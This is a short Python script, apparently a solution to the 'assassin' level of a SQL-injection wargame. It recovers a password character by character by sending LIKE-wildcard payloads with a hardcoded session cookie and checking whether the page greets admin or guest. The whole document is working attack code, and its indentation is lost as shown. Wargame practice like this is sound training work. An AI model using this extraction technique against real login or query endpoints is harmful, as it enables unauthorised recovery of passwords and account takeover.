import requests
password = "9"
for i in range(7):
for j in range(48, 122):
URL = 'https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php'
query = {"pw": password + chr(j) + "%"}
print(query)
headers = {'Content-Type': 'application/json:charset=utf-8'}
cookies = {'PHPSESSID': 'jlhgekgppjq61l9bc7q515voeo'}
res = requests.get(URL, params=query, headers=headers, cookies=cookies)
# print(res.text)
if ("Hello admin" in res.text) or ("Hello guest" in res.text):
if chr(j) != '_' and chr(j) != '%':
print("[=]Found:" + chr(j))
password = password + chr(j)
break
# else:
# print(res.text)
print(password)